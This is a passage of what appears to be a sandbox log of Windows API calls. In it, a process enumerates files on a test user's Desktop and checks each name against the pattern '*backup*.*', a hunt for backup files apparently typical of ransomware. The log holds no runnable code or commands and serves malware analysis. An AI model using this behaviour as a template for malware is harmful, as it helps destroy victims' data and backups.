lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ca0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.649] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*backup*.*") returned 0 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e00, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.649] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*backup*.*") returned 0 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.649] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x34300d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.650] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*backup*.*") returned 0 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430600 | out: hHeap=0x2110000) returned 1 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0099.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", cchWideChar=43, lpMultiByteStr=0x34300d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\desktop.ini", lpUsedDefaultChar=0x0) returned 43 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ba0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.650] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*backup*.*") returned 0 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x33aaba0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.650] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*backup*.*") returned 0 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.650] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21129c0 | out: hHeap=0x2110000) returned 1 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x2112780, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.651] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*backup*.*") returned 0 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x33aaa60, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430dc0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.651] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*backup*.*") returned 0 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x2112930, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430da0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.651] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*backup*.*") returned 0 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0099.651] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d68 | out: hHeap=0x2110000) returned 1 [0099.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x33aaf20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430be0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.652] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*backup*.*") returned 0 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c00 | out: hHeap=0x2110000) returned 1 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x33aad20, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430d20, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.652] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*backup*.*") returned 0 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", lpUsedDefaultChar=0x0) returned 48 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.652] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*backup*.*") returned 0 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.652] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x211ae40, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpUsedDefaultChar=0x0) returned 39 [0099.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430da0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.653] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*backup*.*") returned 0 [0099.653] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0099.653] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", cchWideChar=40, lpMultiByteStr=0x211ae40, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ffg4.png", lpUsedDefaultChar=0x0) returned 40 [0099.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430bc0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.653] PathMatchSpecW (pszFile="ffg4.png", pszSpec="*backup*.*") returned 0 [0099.653] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0099.653] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0099.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x33ab8d8, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", lpUsedDefaultChar=0x0) returned 71 [0099.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430ba0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.654] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*backup*.*") returned 0 [0099.654] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0099.654] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0099.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x2112780, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", lpUsedDefaultChar=0x0) returned 60 [0099.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430d20, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.658] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*backup*.*") returned 0 [0099.658] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0099.658] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0099.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x2112858, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", lpUsedDefaultChar=0x0) returned 61 [0099.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430b60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.658] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*backup*.*") returned 0 [0099.658] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.658] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpUsedDefaultChar=0x0) returned 47 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ce0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.659] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*backup*.*") returned 0 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", lpUsedDefaultChar=0x0) returned 42 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430bc0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0099.659] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*backup*.*") returned 0 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.659] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, 